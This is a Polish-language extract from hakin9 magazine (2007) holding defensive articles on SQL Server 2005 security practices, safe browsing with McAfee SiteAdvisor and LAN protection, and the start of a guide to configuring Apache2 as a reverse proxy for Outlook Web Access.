• DUMP/LOAD MASTER KEY DDL.

Pierwsze z nich może zmienić ten
klucz, natomiast drugie archiwizu-

Rysunek 3.

Struktura kluczy i ich ochrony w SQL Server 2005

Klucz

Inny klucz

Certyfikat

Klucz prywatny

Klcz publiczny

Hasło

Master Key

Hasło

Master Key

Hasło użytkownika

Chroniony przez

Chroniony przez

Chroniony przez

Chroniony przez

Chroniony przez

Chroniony przez

Chroniony przez

Związany z

Opakowany przez

O autorze

Autor jest pracownikiem firmy Micro-
soft. Na co dzień zajmuje się m.in. two-
rzeniem rozwiązań w oparciu o SQL
Server w różnych aspektach – bazy re-
lacyjne, usługi integracyjne, usługi ana-
lityczne. Jest certyfikowanym admini-
stratorem baz danych (MCDBA). Kon-
takt z autorem: arturz@microsoft.com

background image

Microsoft SQL Server 2005 – bezpieczne aplikacje

hakin9 Nr 8/2007

www.hakin9.org

49

je i odtwarza go. Klucz ten zawsze
chroniony jest przy użyciu hasła
użytkownika i przechowywany w ba-
zie danych. Drugi z kluczy to Servi-

ce Master Key – czyli klucz serwiso-
wy. Używany jest do ochrony danych
systemowych, np. przy hasłach ser-
werów połączonych (Linked servers),
kluczy master, etc. Do jego obsługi i
ochrony mamy analogiczne polece-
nia jak w przypadku klucza master:

• ALTER SERVICE MASTER KEY

DDL,

• DUMP/LOAD SERVICE MA-

STER KEY DDL.

Różnica jest taka, że ten klucz chro-
niony jest przy użyciu DPAPI i kon-
ta serwisowego (service account).
Aby łatwo zrozumieć działanie klu-
czy, przyjrzyjmy się Rysunkowi 3, na
którym przedstawione są zależno-
ści pomiędzy różnymi kluczami oraz
sposobami ich ochrony.

Uprawnienia w SQL

Server

Aby sprawdzić, jakie mamy upraw-
nienia na danym obiekcie, ma-
my do dyspozycji funkcję systemo-
Sys.fn_mypermissions(). Nato-
miast, aby sprawdzić, jakie w ogóle
są uprawnienia, możemy posłużyć
się tabelami systemowymi:

Sys.Server_permissions – upra-

wnienia na poziomie serwera,

Sys.database_permissions – upra-

wnienia na poziomie bazy danych,

Sys.fn_builtin_permissions – wszy-

stkie wbudowane uprawnienia.

Najlepsze praktyki

– zalecenia

Zalecenia do stosowania najlepszych
praktyk możemy podzielić na dwa
podstawowe – dla programistów oraz
dla administratorów. Poniżej lista zale-
ceń (w punktach), które warto stoso-
wać, aby nasze aplikacje były napraw-
dę bezpieczne. Dla programistów:

• pomyśl o szyfrowaniu ważnych

danych,

• szyfrowanie vs. indeksowanie – klu-

cze nie powinny być szyfrowane,

• nie pokazuj komunikatów błę-

dów użytkownikowi (np. Messa-

ge.Show(Exception.Message),

• dostęp poprzez procedury skła-

dowane,

• staraj się zrozumieć różne zagro-

żenia,

• pomyśl o różnych scenariuszach

ataków,

• poznaj swojego wroga – wiedz,

co oznaczają pojęcia: SQL Injec-
tion, Buffer Overflows, etc.,

• aplikacje buduj modułowo,
• wylistuj graniczne komponenty,
• analizuj interfejsy i możliwe inte-

rakcje,

• regularnie przeglądaj kod,
• wykonuj checklisty, aby niczego

nie zapomnieć,

• nie twórz obiektów w schemacie

DBO,

• schowaj zasadniczy schemat apli-

kacji,

• używaj podpisanych modułów

lub łańcucha własności lub exe-

cute as,

• niskie uprawnienia dla użytkow-

nika execute as,

• unikaj dynamicznego SQL,
• używaj ról do zarządzania upraw-

nieniami.

Dla administratorów:

• bezpieczeństwo fizyczne - chroń

wszystkie związane systemy, no-
śniki, kopie zapasowe, etc.,

• niegdy nie umieszczaj RDBMS w

niechronionej sieci – zawsze za
firewall'em,

• instaluj SQL Server i umieszczaj

pliki z danymi na NTFS,

• izoluj serwisy – nigdy nie instaluj ba-

zy danych na kontrolerze domeny,

• nie używaj kont LocalSystem, Lo-

cal or Domain Administrator,

• najnowszy kod jest najbezpiecz-

niejszym kodem – pamiętaj o in-
stalacji najnowszych poprawek
i aktualizacji,

• zaproponuj agresywną politykę

dotyczącą archiwizacji,

• sprawdź, czy masz (a jeśli nie, to

zbuduj) i jak działa disaster reco-
very system,

• włącz odpowiedni poziom audy-

towania,

• zapewnij ochronę transmisji -

używaj SSL, IPSEC etc.,

• zapewnij szyfrowanie na pozio-

mie plików - Unikaj niedozwolo-
nych kopii bazy danych oraz pa-
miętaj o tym, że SQL wspiera En-

crypted File System (EFS).

Dla programisty i administratora:

• używaj Windows Authentication,
• kiedy używasz SQL Authentica-

tion,

• pamiętaj o SQL Server Password

Policy Enforcement,

• używaj DPAPI dla bezpiecznego

przechowywania uprawnień,

• wybierz trzy lub więcej warstw,
• model dwuwarstwowy jest trudny

w utrzymaniu bezpieczeństwa.

Podsumowanie

Jak widać, tworzenie bezpiecznych
aplikacji nie jest sprawą prostą. Jest
bardzo wiele elementów, na które na-
leży zwrócić uwagę już na etapie pro-
jektowania naszego systemu. Nale-
ży również pamiętać o tym, że admi-
nistrator systemów i programista mu-
szą działać razem, aby przyczynić się
do sukcesu, jakim jest bezpieczna
aplikacja. Pamiętajmy również o tym,
że czasami stworzenie aplikacji, która
będzie posiadała wszystkie elemen-
ty wymienione w tekście, spowodu-
je, że będzie ona działać bardzo po-
woli. Artykuł ten miał na celu przybli-
żenie niektórych problemów, bardzo
wiele rzeczy zostało pominiętych. Ta-
kie wybiórcze potraktowanie zagad-
nienia wynika z tego, że temat ten
jest tak obszerny, że można o nim na-
pisać książkę. W przypadku tworze-
nia aplikacji opartych o SQL Server
2005 mamy troszkę ułatwioną spra-
wę, ponieważ sam silnik bazy danych
wspiera mechanizmy bezpieczeń-
stwa w sposób automatyczny. Zachę-
cam do wnikliwej analizy tekstu i swo-
ich aplikacji, które działają produkcyj-
nie. Podzielam opinie różnych spe-
cjalistów, że należy znaleźć przysło-
wiowy złoty środek podczas tworze-
nia takich aplikacji – bezpieczeństwo
a wydajność – do czego i czytelników
zachęcam. l

background image

www.hakin9.org

hakin9 Nr 8/2007

50

Obrona

S

posobów na bezpieczne podróżowanie
przez sieć Internet jest dużo, począw-
szy od najbardziej elementarnych, jak

wybór bezpiecznej przeglądarki internetowej,
używanie programów antywirusowych, po te
bardziej zaawansowane, jak firewalle czy też
specjalistyczne narzędzia monitorujące. Z sa-
mymi wirusami nie ma już takiego problemu
– na rynku IT jest dużo firm produkujących
oprogramowanie antywirusowe (zarówno płat-
ne, jak i bezpłatne) i chyba każdy Internauta ma
tu swojego faworyta, pamiętając o tym, że an-
tywirus to nieodłączny element komputera XXI
wieku. Problemem nie są więc tylko wirusy i tro-
jany, których pełno w Internecie, lecz coś o wie-
le bardziej niebezpiecznego – strony interneto-
we pełne robaków internetowych, zawirusowa-
ne oprogramowanie, a także coraz bardziej za-
awansowane techniki socjotechniczne, ataki
takie jak phishing czy pharming. Dobrym roz-
wiązaniem jest używanie kilku narzędzi jedno-
cześnie (pod warunkiem, że nie występują po-
między nimi konflikty, które mogłyby zakłócić
ich pracę). Dość dużą rolę odgrywa tutaj prze-
glądarka internetowa – każdy ma swoje prefe-
rencje, przyzwyczajenia i upodobania. Pamię-
tać jednak należy o aktualizacji oprogramowa-

nia (aktualizację nie są robione przypadkowo
– poważnie!). Ten sarkazm jest kierowany do
zagorzałych użytkowników IE – ale nie będę ni-
kogo dyskryminował, mimo że jestem zwolen-
nikiem Open-Source, szanuję wybór każdego
– w końcu i pod Linuksem można używać IE.

Problem bezpieczeństwa w Interne-

cie jest dość poważny i można by napisać
o tym książkę – ale nie do tego zmierzam.
Chcę Wam przedstawić dość ciekawe narzę-
dzie on-line opublikowane przez firmę McA-

Bezpieczna podróż przez

sieć LAN i Internet?

Michał Poselt

stopień trudności

Surfowanie w Internecie należy bez cienia wątpliwości do

rzeczy przyjemnych – lecz coraz częściej wiąże się z różnymi

zagrożeniami. To, że Internet jest niemonitorowany oraz

specyficzna anonimowość użytkowników w Sieci niesie ze sobą

pewne niebezpieczeństwa. Jak się przed nimi bronić? Jak z nimi

walczyć?

Z artykułu dowiesz się

• o podstawowych zasadach bezpiecznego surfo-

wania w sieci LAN i Internet,

• jak zabezpieczyć się przed Phishingiem,
• jak analizować strony przy użyciu McAfee Site-

Advisor.

Co powinieneś wiedzieć

• podstawowe zasady działania sieci opartych na

TCP/IP,

• podstawowe informacje o połączeniach szyfro-

wanych SSL.

background image

Jak bezpiecznie podróżować przez sieci LAN i Internet

hakin9 Nr 8/2007

www.hakin9.org

51

fee, które pomoże Wam bezpiecz-
nie podróżować po sieci Internet.
Jest to McAfee SiteAdvisor [http://

www.siteadvisor.pl]. Pisałem wcze-
śniej, że jest to narzędzie on-li-
ne. Składa się ono z dwóch części.
Pierwszą z nich jest strona interne-
towa siteadvisor.pl, drugą zaś jest
wtyczka do przeglądarek interneto-
wych, takich jak IE czy Firefox.

McAfee SiteAdvisor

– skaner online

Jest to rozbudowane narzędzie wy-
konujące szereg automatycznych
testów badających bezpieczeństwo
witryn. Na pierwszy ogień idą te-
sty wiadomości e-mail rozsyłanych
do użytkowników danej strony. Sys-
tem wprowadza swój e-mail w do-
stępnych na stronie formularzach, a
następnie analizuje liczbę otrzyma-
nych przez miesiąc wiadomości oraz
skanuje pod kątem spamu przy uży-
ciu programu SpamAssassin. McA-
fee udostępnia raport skanowanej
strony. Możemy z niego odczytać,
ile wiadomości na miesiąc zostało
wysłanych na wprowadzony adres
email, jaki jest poziom klasyfikacji
tych maili jako spam oraz jakie były
tytuły tych wiadomości. Dzięki temu
łatwo możemy zorientować się, czy

są to maile z ofertami promocyjny-
mi, konkursami, informacjami tech-
nicznymi czy też po prostu zawiera-
ją one spam.

Kolejnym testem przeprowa-

dzanym przez SiteAdvisor jest ba-
danie plików możliwych do pobra-
nia na badanej witrynie pod wzglę-
dem obecności wirusów, adware,
spyware itp.

Pliki poddawane są gruntownej

analizie pod względem tego, jak mo-
dyfikują system (niestety tylko syste-
my Windows przechodzą taką anali-
zę). Możemy zobaczyć, pod jaką na-
zwą program dodaje się do Dodaj i

Usuń programy, jaki tworzy skrót na
pulpicie oraz (co ważniejsze) jak mo-
dyfikuje rejestr systemu Windows
oraz strukturę plików. Dodatkowymi
informacjami są sumy kontrolne ska-
nowanych plików (MD5), rozmiar pli-
ku czy date ostatniego skanowania
pliku przez Site Advisor.

Na uwagę zasługuje też badanie

internetowych powiązań z daną wi-
tryną, tzn. dociekania mające na ce-
lu ustalić, jak często i w jakim stop-
niu witryna próbuje skierować użyt-
kownika do innych stron. Jeśli są to
witryny niebezpieczne/podejrzane,
skanowana strona oznaczana jest
jako niebezpieczna, ze względu na
powiązania, jakie ma z domenami
uznanymi potencjalnie za niebez-
pieczne.

Kolejnym, a zarazem ostatnim

etapem automatycznego testowa-
nia witryny, jest badanie irytujących

elementów. W tym przypadku bada-
na jest liczba wyskakujących okie-
nek oraz zapisywane na dysku pliki

cookies. Jeśli ich liczba jest duża,
witryna otrzymuje czerwone ozna-

Rysunek 1.

Przykładowy wynik skanowania dla webpark.pl

Rysunek 2.

Wynik skanowania programu NetStumbler pobranego z

warchalking.pl

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

52

czenie – co wiąże się z uznaniem
witryny za niebezpieczną – nieprzy-
jazną użytkownikowi. Wszystkie te
testy oraz opinie innych użytkow-

ników wpływają na ocenę końco-
wą witryny. Witryna może zostać
zaklasyfikowana do jednej z trzech
kategorii:

witryny bezpieczne (oznaczone
podczas skanowania kolorem
zielonym),

witryny niebezpieczne (kolor
czerwony),

witryny podejrzane (kolor żółty).

Gdy witryna nie została jeszcze prze-
analizowana przez system – ozna-
czona jest kolorem szarym.

McAfee SiteAdvisor –

wtyczka do przeglądarki

IE oraz Firefox

Łatwy w instalacji dodatek do naj-
popularniejszych przeglądarek in-
ternetowych, takich jak Internet
Explorer [http://www.siteadvisor.com/

download/ie.html] czy Firefox [http:

//www.siteadvisor.com/download/

ff.html]

Wtyczka do przeglądarki oce-

nia witryny tak samo jak narzędzie
on-line, a wyniki testowania pokazu-
je bezpośrednio w przeglądarce in-
ternetowej:

obok nazw stron (w przypadku wy-
szukiwana przy pomocy wyszuki-
warek, takich jak http://google.pl ,

http://search.yahoo.com/ ),

w dolnej prawej części okna
przeglądarki (na pasku stanu) wi-
doczny będzie przycisk McAfee
SiteAdvisor w jednym z trzech
kolorów informujących o klasyfi-
kacji danej strony.

Ochrona sieci LAN

Z dostępnością oprogramowania
do bezpiecznego podróżowania po
sieci LAN jest o wiele łatwiej niż w
poprzednim wypadku. Oczywiście
ochrona w sieci LAN w większości
przypadków wiąże się z ochroną w
sieci Internet – lecz nie jest to regułą.
Najczęstszym błędem jest nieprawi-
dłowa konfiguracja (lub jej całkowity
brak) kluczowych elementów syste-
mu oraz oprogramowania na nim za-
instalowanego.

Firewall – podstawa

bezpiecznej sieci

Podstawowym elementem ochrony
sieci LAN przed zagrożeniami po-
chodzącymi z zewnątrz sieci jest fi-

Rysunek 3.

Przykładowy wynik skanowania dla kazaa.com

Rysunek 4.

Badanie irytujących elementów – czyli pop-up i cookies pod

lupą SiteAdvisor

Rysunek 5.

Wynik skanowania widoczny w wyszukiwarce Google

background image

Terminologia

Słownik powstał na bazie wikipedia.pl

Adware – programy, które bez zgody odbiorcy, w sposób

utrudniający obsługę komputera wyświetlają niechciane re-
klamy. W przypadku ukrytych modułów adware często łą-
czone są one z innymi malware (złośliwymi kodami), jak
np. modułami szpiegującymi (ang. Spyware), dostarcza-
jącymi autorom aplikacji wiele informacji o użytkowniku
– głównie adres IP, używany system operacyjny, przeglą-
darka, a niekiedy strony, do których łączy się dany użyt-
kownik,

Firewall – (Zapora sieciowa, zapora przeciwogniowa) – je-

den ze sposobów zabezpieczania sieci i systemów przed
intruzami. Termin ten może odnosić się zarówno do de-
dykowanego sprzętu komputerowego wraz ze specjalnym
oprogramowaniem, jak i do samego oprogramowania blo-
kującego niepowołany dostęp do komputera, na którego
straży stoi,

Pharming – bardziej niebezpieczna dla użytkownika oraz

trudniejsza do wykrycia forma phishingu. Oszust wyko-
nuje dodatkowo atak na serwer DNS w celu skojarzenia
prawdziwego adresu URL z serwerem WWW podrobionej
strony internetowej,

Phishing – oszukańcze pozyskanie poufnej informacji

osobistej, np. hasła czy szczegółów karty kredytowej,
przez udawanie osoby godnej zaufania, której informacje
te są pilnie potrzebne. Jest to rodzaj ataku opartego na in-
żynierii społecznej,

Spam – to niechciane elektroniczne wiadomości. Najbar-

dziej rozpowszechniony jest spam rozpowszechniany za
pośrednictwem poczty elektronicznej oraz w Usenecie.
Zwykle (choć nie zawsze) jest wysyłany masowo,

SpamAssassin – napisany głównie w perlu zestaw skryp-

tów do skanowania zawartości poczty elektronicznej i
oceny prawdopodobieństwa, czy dana wiadomość jest
spamem, czy też nie,

Spyware – to programy komputerowe, których celem jest

szpiegowanie działań użytkownika.Programy te groma-
dzą informacje o użytkowniku i wysyłają je często bez je-
go wiedzy i zgody autorowi programu,

ARP spoofing – termin określający atak sieciowy w sie-

ci Ethernet, który pozwala atakującemu przechwytywać
dane przesyłane w obrębie segmentu sieci LAN,

• IDS – Intrusion Detection System (system wykrywania

włamań) – jeden z mechanizmów nadzorowania bez-
pieczeństwa sieci, pozwalający na monitorowanie ata-
ków, np. przez analizę ruchu sieciowego i wykrywanie
zdefiniowanych sygnatur lub przez raportowanie ogól-
nych nieprawidłowości komunikacyjnych. Niektóre sys-
temy IDS oparte są o zdolne do nauki algorytmy heury-
styczne, które automatycznie dostosowują się do danej
sieci,

• IPS – Intrusion Prevention System (system zapobiega-

nia włamaniom) – pochodna systemu IDS. Działanie
IPS polega na zwiększeniu bezpieczeństwa sieci, po-
przez aktywne przeciwdziałanie atakom w czasie rze-
czywistym, a nie jak w przypadku IDS, już po ich wy-
stąpieniu.

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

54

rewall. Zapora ogniowa przy pomo-
cy pewnych (w pełni konfigurowal-
nych) reguł chroni ruch między sie-
cią prywatną a publiczną, decydu-
je, jaki ruch sieciowy może być prze-
puszczony, a który ma być zabloko-
wany (zarówno z sieci prywatnej do
Internetu, jak i na odwrót). Użytkow-
nicy system Windows XP z zainsta-
lowanym SP2 zazwyczaj zauważali
w swoim systemie obecność zapory
sieciowej – i minimalizując problem
odpowiedniego wyboru oraz konfi-
guracji firewalla – korzystali z owego
windosowego narzędzia, pozbawio-
nego wielu podstawowych funkcji, ja-
kie powinna posiadać zapora siecio-
wa. Brak elementarnych funkcji fire-
walla oraz możliwości dokładnej je-
go konfiguracji prowadzi do bezuży-
teczności takiego zabezpieczenia.
Warto zaopatrzyć się zatem w osob-
ny program – właśnie zaporę siecio-
wą. Istnieje wiele darmowych rozwią-
zań – lepszych od tego, wbudowane-
go domyślnie w Windows XP – ich
przykładem mogą być tutaj Jetico
Personal Firewall czy Outpost Fire-
wall. Oba te programy łączą w sobie
dużą skuteczność oraz bogatą funk-
cjonalność.

IPS – skuteczna obrona

Niestety i firewalle posiadają wady
– nie są one w stanie dogłębnie ana-
lizować ruchu w warstwie aplikacyj-
nej. Jeżeli więc nasz serwer WWW
jest dostępny w Internecie, to firewall
musi przepuszczać ruch do niego,
a w konsekwencji tego przepuszczo-
ny będzie również atak na ten serwer
WWW. Oczywiście wszystko zależy
od konfiguracji firewalla. Na pewno
skutecznym rozwiązaniem jest uży-
wanie systemów IPS (Intrusion Pre-

vention System – ang. system zapo-
biegania włamaniom), które łączą w
sobie funkcjonalność Firewalla, sys-
temu IDS oraz antywirusa. Nieste-
ty są to stosunkowo słabo rozpo-
wszechnione systemy ochronne sie-
ci, m.in. ze względu na swoją cenę.

Wykorzystujemy

szyfrowane połączenia

Jeśli chodzi o ochronę kompute-
rów domowych, warto jest sko-

rzystać z powszechnie dostęp-
nych rozwiązań, które nie wymaga-
ją poważniejszej konfiguracji stacji
roboczych/oprogramowania, a mo-
gą znacznie poprawić poziom bez-
pieczeństwa pracy w sieci. Aby za-
bezpieczyć się przed podsłuchem
pakietów (przykładowo ARP spo-

ofing) dobrze jest korzystać z bez-

piecznych szyfrowanych protokołów
np. POP3S, SMTPS,SCP, SFTP,
SSH i HTTPS. Jeśli nie wyeliminuje
to zupełnie zagrożenia, to na pewno
skutecznie utrudni możliwość prze-
prowadzenia ataku.

Udostępnianie plików –

nie zawsze bezpieczne

Dość często problemy wiążą się z
udostępnianymi w sieciach lokal-
nych plikami i drukarkami – niepra-
widłowy dobór restrykcji (lub zu-
pełnie ich pominiecie) powoduje
banalnie prosty dostęp do danych
– problem ten jest niezwykle nie-
bezpieczny w sieciach WLAN (Wi-
Fi) pozbawionych szyfrowania (na-
wet tego najbardziej podstawowe-
go WEP/WPA). O ile w sieciach ka-
blowych dość trudno jest podpiąć
się do sieci (konieczny fizyczny
kontakt z okablowaniem), to w sie-
ciach bezprzewodowych tej bariery
już nie ma. Wszystkie dane rozsy-
łane są w eter, co znacznie ułatwia
sprawę podsłuchu pakietów.

Sieci bezprzewodowe jako naj-

słabsze ogniwo zabezpieczeń

Sieci bezprzewodowe często by-

wają zmorą administratorów sieci fir-
mowych. Pracownicy chcący sobie
ułatwić korzystanie z sieci instalu-
ją we własnym zakresie Access Po-
inty (w skrócie AP) – które są furtką
do firmy dla potencjalnego intruza. I
na nic zdają się wówczas firewalle,
IDS/IPS. AP omija wszystkie te za-
bezpieczenia.

Świadoma konfiguracja

Dobrze skonfigurowany system IDS
wraz z modułem do monitoringu sie-
ci bezprzewodowych znajdujących
się w obrębie danego obszaru, sku-
tecznie uniemożliwia korzystanie z
nieautoryzowanych/niechcianych
sieci bezprzewodowych, zalewając

eter odpowiednio spreparowanymi
ramkami death które uniemożliwiają
podłączenie się klienta do wcześniej
wspominanej sieci bezprzewodowej.

Podsumowanie

Niniejszy artykuł prezentuje pod-
stawowe zasady bezpiecznego po-
dróżowania po sieci LAN/Internet
– stosując się do nich powinni-
śmy zwiększyć swoje bezpieczeń-
stwo. Pamiętajmy jednak o tym
ze przechowywanie poufnych da-
nych (oraz haseł) na komputerze
nie jest bezpieczne – a jeśli już się
na to decydujemy to warto pomy-
śleć o zaszyfrowaniu plików. Jed-
nak żadne z wyżej wymienionych
zabezpieczeń nie będzie skutecz-
ne w momencie, gdy nie zadbamy
o odpowiednią, w pełni świadomą
konfigurację oraz o stały monito-
ring uaktualnień/poprawek nasze-
go oprogramowania. l

O autorze

Autor jest studentem Informatyki na
Uniwersytecie Łódzkim (filia w Toma-
szowie Maz.), gdzie prowadzi sekcje
koła naukowego zajmującego się sie-
ciam. Jest on także autorem serwisu o
sieciach bezprzewodowych
http://warchalking.pl
Kontakt z autorem:
michal.poselt@warchalking.pl

W Sieci

http://www.siteadvisor.com/sites/

webpark.pl/email,

http://www.siteadvisor.com/sites/

warchalking.pl/downloads.

Przykładowy wynik ska-

nowania witryn:

http://www.siteadvisor.com/sites/

kazaa.com – witryna niebezpieczna

http://www.siteadvisor.com/sites/

webpark.pl – witryna podejrzana

http://www.siteadvisor.com/sites/

warchalking.pl – witryna bezpieczna

background image

Portal internetowy na którym można znaleźć

garść informacji z wybranych dziedzin IT.

http://howto.pl/

Hacking, security to pojęcia znane profesjonali-

stom na tym portalu można dowiedzieć się cze-

goś więcej o tych zagadnieniach.

http://www.security-web.info

Strona zawiera ogłoszenia pracy na stanowi-

ska związane z branżą IT.

http://pracait.com

Portal poświęcony aktualnościom, artykułom

ze świata informatycznego. Zawiera ciekawe

linki, gry on-line i wiele innych interesujących

wiadomości.

http://hackme.pl

Serwis internetowy firmy QuarkBit Software,

która zajmuje się tworzeniem oprogramowania

dla firm i osób prywatnych.

http://www.quarkbitsoftware.pl

Misją serwisu jest dostarczanie rzetelnych infor-

macji z zakresu szeroko pojętej informatyki. Za-

wiera najświeższe informacje z rynku informa-

tycznego i recenzje czasopism takich jak Hakin9,

php solution, sdj.

http://www.itnews.icx.pl

To portal wydawnictwa CSH. Na tej stronie za-

interesowana osoba znajdzie garść potrzeb-

nych informacji: aktualności ze świata informa-

tycznego, informacje na temat szkoleń itd.

http://www.szkolahakerow.pl

Serwis informacyjny, na którym znajdują się

najświeższe aktualności i artykuły, można zalo-

gować się na forum i podyskutować z ciekawy-

mi osobami na interesujące teamty.

http://www.cc-team.org

Strona internetowa poświęcona aktualnościom

informatycznym. Umieszczone są na niej cie-

kawe artykuły oraz recenzje pism.

http://www.huntersq2.boo.pl

Strony

polecane >>>

Strony

polecane

Misją Infoprof jest zrozumienie potrzeb klienta

i taki dobór usług by jak najlepiej spełniały one

jego oczekiwania, jednocześnie nie narażając

go na niepotrzebne koszty.

www.infoprof.pl

Portal poświęcony zdalnym rozwiązaniom IT,

świadczone usługi są dyskretne i dokładne.

http://xesit.pl

Portal powstał w celu rozreklamowania firmy

zajmującej się kompleksową usługą związaną

z promowaniem stron WWW.

http://www.webgroup.net.pl

background image

www.hakin9.org

hakin9 Nr 8/2007

56

Obrona

J

edną z takich aplikacji jest Microsoft
OWA (Outlook Web Access), wyśmie-
nita aplikacja typu webmail, która staje

się coraz popularniejszym sposobem dostępu
do poczty w środowisku serwerów Microsoft, a
co za tym idzie, znajduje się ona również coraz
częściej na celowniku sieciowych wandali.

Z różnych powodów serwery tego typu apli-

kacji znajdują się często wewnątrz firmowego
intranetu, co stanowi świetne rozwiązanie, o ile
nie zachodzi potrzeba zdalnego dostępu. Z re-
guły jednak, prędzej czy później zachodzi po-
trzeba uzyskania dostępu do aplikacji spoza
sieci lokalnej. Aby zapewnić taki dostęp, nale-
ży rozważyć kilka opcji. Pierwszym z możliwych
rozwiązań jest zestawianie połączeń wirtual-
nych sieci prywatnych, co jednak wymaga m.in.
dodatkowej konfiguracji komputerów klienckich,
czego najczęściej chcielibyśmy uniknąć.

Inną możliwością jest kolokacja serwerów

aplikacji w serwerowni zewnętrznego operato-
ra. Istotną zaletą takiego rozwiązania jest brak
konieczności nadzorowania infrastruktury i ser-
werów przez naszego administratora i pozosta-
wienie tych obowiązków pracownikom provide-
ra. Często okazuje się jednak taka opcja mniej
elastyczną, zaś koszta utrzymania takiej infra-

struktury mogą być wyższe niż w przypadku in-
nych rozwiązań. Co ważniejsze, w niektórych
sytuacjach ważne z punktu widzenia polityki
bezpieczeństwa jest przechowywanie wrażli-
wych danych wewnątrz infrastruktury firmy, nie
zaś u zewnętrznego operatora.

Aby pozostawić dane wewnątrz naszej sie-

ci, najczęściej lokalizujemy serwery w strefie
zdemilitaryzowanej, tak by pozostały pod naszą
kontrolą, ale jednocześnie były dostępne z In-
ternetu poprzez korporacyjny firewall z filtrowa-
niem pakietów, systemem IPS i innymi zabez-
pieczeniami. Choć w tym wypadku mamy pełną
kontrolę nad serwerami, to samo rozwiązanie z
punktu widzenia sieci nie różni się znacząco od
poprzedniego. Informacje, zarówno w sieci we-

Apache

jako Reverse Proxy

Radosław Pieczonka

stopień trudności

W środowisku firmowym często można na serwerach

intranetowych znaleźć oprogramowanie potencjalnie podatne

na różnego rodzaju ataki. Co gorsza, zdarza się, iż od

publikacji informacji o dziurze w zabezpieczeniach do wydania

odpowiedniej łatki mija niemało czasu.

Z artykułu dowiesz się

• czym jest reverse proxy,
• jak skonfigurować Apache2 dla reverse proxy,
• jak zabezpieczyć publikowane zasoby.

Co powinieneś wiedzieć

• podstawy konfiguracji Apache2.

background image

Bezpieczne publikowanie zasobów intranetowych

hakin9 Nr 8/2007

www.hakin9.org

57

wnętrznej, jak i zewnętrznej, przetwa-
rzane są w podobny sposób, serwery
mają publiczne adresy IP czy nazwy
domenowe, a komunikacja szyfrowa-
na poprzez SSL wymaga osobnych
certyfikatów dla serwera.

Aby pominąć ograniczenia, ja-

kie stawia przed nami lokowanie
serwerów w strefie zdemilitaryzo-
wanej oraz jeśli chcemy w jeszcze
większym stopniu podnieść bez-
pieczeństwo, możemy postawić na
maszynie pełniącej rolę firmowego
firewalla/nata lub na dedykowanym
serwerze w DMZ usługę reverse
proxy. Ten sposób dostępu do zaso-
bów może wydawać sie najtrudniej-
szym i najbardziej zaawansowanym,
jest jednak niezmiernie elastyczny i
daje nam wiele nowych funkcji.

Weźmy jako przykład sytuację,

gdy mamy w sieci serwer Microsoft
Exchange z aplikacją webmail OWA,
intranetowy serwer z webową ba-
zą wiedzy i aplikacją CRM, routing i
NAT realizowany jest na dedykowa-
nym routerze sprzętowym lub linuk-

sowym oraz serwer linuksowy zlo-
kalizowany w strefie zdemilitaryzo-
wanej. Tym, co chcielibyśmy osią-
gnąć, jest umożliwienie przeglądania
bazy wiedzy oraz poczty z Internetu
oraz zachowanie dostępu do syste-
mu CRM tylko z sieci lokalnej.

Po pierwsze, musimy umożliwić

serwerowi w DMZ dostęp do intrane-
towych serwerów OWA i bazy wie-
dzy, co w skrócie sprowadza się do:

• utworzenia reguł umożliwiających

dostęp do OWA na MS IIS z IP
serwera w DMZ,

• utworzenia reguł umożliwiających

dostęp do strony bazy wiedzy z IP
serwera w DMZ,

• utworzenie odpowiednich reguł

firewalla i NAT-a, aby umożliwić
ruch pomiędzy wybranymi ser-
werami intranetowymi oraz ser-
werem w DMZ.

Jeśli możemy przeglądać zawartość
stron z publicznego serwera, oznacza
to, że czas opublikować je do Interne-

tu. Aby to osiągnąć, wykorzystamy
serwer http Apache2 wraz z moduła-
mi mod_proxy i mod_proxy_http. Li-
sting 1 prezentuje podstawową konfi-
gurację vhosta dla publikowania we-
wnętrznego serwisu dla klientów łą-
czących się do publicznego serwera.

Przy takiej konfiguracji Apache'a

strona http://owa.lan powinna być do-
stępna z Internetu pod adresem http:

//intra.company.com. Trudno jednak
stwierdzić, aby takie rozwiązanie pod-
nosiło w sposób znaczący bezpieczeń-
stwo, co więcej, przy takich ustawie-
niach nadal publikujemy zasoby tylko
jednego wewnętrznego serwera i to
wszystko to, co jest na nim dostępne.
Co możemy zrobić w celu poprawienia
zaprezentowanego reverse proxy?

Przede wszystkim warto nieco

bardziej szczegółowo określić, jakie
zasoby mają być publikowane i pod
jakimi nazwami, zmieńmy więc:

ProxyPass/ http://owa.lan/,
ProxyPassReverse http://owa.lan/.

na szczegółowy wykaz publikowa-
nych folderów webowych:

ProxyPass/exchange http://owa.

lan/exchange,

ProxyPassReverse /exchange

http://owa.lan/exchange,

• ProxyPass /exchweb http://owa.

lan/exchweb,

• ProxyPassReverse

/exchweb

http://owa.lan/exchweb,

• ProxyPass /public http://owa.lan/

public,

• ProxyPassReverse /public http://

owa.lan/public,

Rysunek 1.

Diagram dostępu w wariancie kolokacji

External ISP colocated

Web servers

Direct SSL

secured traffic

Direct SSL

secured traffic

Linux Firewall / NAT

Internet

Intranet

Listing 1.

Podstawowa konfiguracja vhosta w Apache2

<VirtualHost *>
ServerAdmin admin@foo.bar
ServerName intra.company.com
ErrorLog /var/log/apache2/owa.foo.bar-error.log
CustomLog /var/log/apache2/owa.foo.bar-access.log common
ProxyPass / http://owa.lan/
ProxyPassReverse / http://owa.lan/
ProxyRequests Off
<Proxy *>
Order deny,allow
Allow from all
</Proxy>
</VirtualHost>

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

58

• ProxyPass /knb http://webserver.

lan/knowledgebase,

• ProxyPassReverse /knb http://

webserver.lan/knowledgebase.

Ciphered connections

Dzięki powyższej zmianie, dostęp jest
ograniczony jedynie do wybranych
katalogów, zaś zależnie od wywoła-
nego adresu, prezentowana będzie
zawartość odpowiedniego serwera
intranetowego. Warto jednak pamię-
tać o tym, że choć do ruchu wewnątrz
sieci lokalnej mamy zazwyczaj spore
zaufanie, ruch w Internecie to przypa-
dek przeciwny. W związku z tym, po-
wszechną i wskazaną praktyką jest,
by takie połączenia były szyfrowane.
Aby pozostać w zgodzie z ową przy-
jętą procedurą, zaimplementujmy w
naszym rozwiązaniu szyfrowanie po-
przez dodanie wpisów odpowiadają-
cych za SSL do konfiguracji serwera:

Listen 443

oraz

NameVirtualHost *:443

Gdy Apache nasłuchuje już na domyśl-
nym porcie HTTPS, możemy zaktuali-
